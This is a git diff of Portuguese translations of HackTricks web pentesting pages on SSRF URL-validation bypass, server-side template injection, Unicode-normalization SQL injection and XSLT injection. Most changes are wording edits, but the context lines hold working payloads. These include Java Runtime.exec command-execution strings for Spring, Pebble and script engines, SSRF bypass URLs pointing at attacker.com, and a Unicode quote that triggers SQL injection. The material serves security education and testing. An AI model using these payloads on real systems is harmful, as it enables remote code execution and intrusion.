@@ -145,7 +145,7 @@ next={domain}&next=attacker.com
```
### Bypass de Caminhos e Extensões
-Se for necessário que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
+Se você precisar que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@@ -157,13 +157,15 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
### Listas de Palavras Personalizadas Automáticas
-Confira o [**cheat sheet de bypass de validação de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode introduzir o host permitido e o do atacante, e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
+Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
-{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
+{{#ref}}
+https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
+{{#endref}}
### Bypass via redirecionamento
-Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\
+Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa requisição.\
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
@@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Truque do Blackslash
-O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do backslash (`\`) pelo padrão WHATWG como equivalente ao barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL.
+O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que o backslash (`\`) é equivalente ao forward slash (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do hostname para o caminho em uma URL.
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index 56fb35fae..22b83eccd 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -1,9 +1,8 @@
-# SSTI (Injeção de Template do Lado do Servidor)
+# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
-
-## O que é SSTI (Injeção de Template do Lado do Servidor)
+## O que é SSTI (Server-Side Template Injection)
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
@@ -26,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
-- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
+- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
@@ -44,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar
### [TInjA](https://github.com/Hackmanit/TInjA)
-um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
+um scanner SSTI + CSTI eficiente que utiliza poliglotas novos
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@@ -170,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
-Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, uma carga útil simples de teste SSTI pode parecer `[[${7*7}]]`.
+Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressão_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`.
-No entanto, a probabilidade de essa carga útil funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
+No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
-Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
+Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
```java
#{selection.__${sel.code}__}
```
@@ -262,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
-Nova versão do Pebble:
+Nova versão do Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
@@ -373,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
-Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
+Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
-- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
+- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
@@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- Mais informações em [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
-
-
##
### Smarty (PHP)
@@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
-> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
+> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
```xml
This is the main page.
@@ -817,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **execução arbitrária
[Site oficial](http://jinja.pocoo.org)
-> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
+> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
- `{{7*7}} = Erro`
- `${7*7} = ${7*7}`
@@ -997,7 +994,9 @@ Se você achar que pode ser útil, leia:
## Lista de Detecção de Brute-Force
-{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
+{{#ref}}
+https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
+{{#endref}}
## Prática & Referências
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index 26316cb17..5188fdd44 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -43,7 +43,7 @@ Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta web, como uma medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa exclusão** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário.
-Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada é normalizada, uma aspa simples é criada e uma **vulnerabilidade de SQL Injection** aparece:
+Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada for normalizada, uma aspa simples é criada e uma **vulnerabilidade de SQL Injection** aparece:
.png>)
@@ -75,7 +75,9 @@ Então, um usuário malicioso poderia inserir um caractere Unicode diferente equ
```
#### sqlmap template
-{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
+{{#ref}}
+https://github.com/carlospolop/sqlmap_to_unicode_template
+{{#endref}}
### XSS (Cross Site Scripting)
diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
index d2525f316..7cd556f0b 100644
--- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
+++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
@@ -344,7 +344,7 @@ xmlns:php="http://php.net/xsl" >
.png)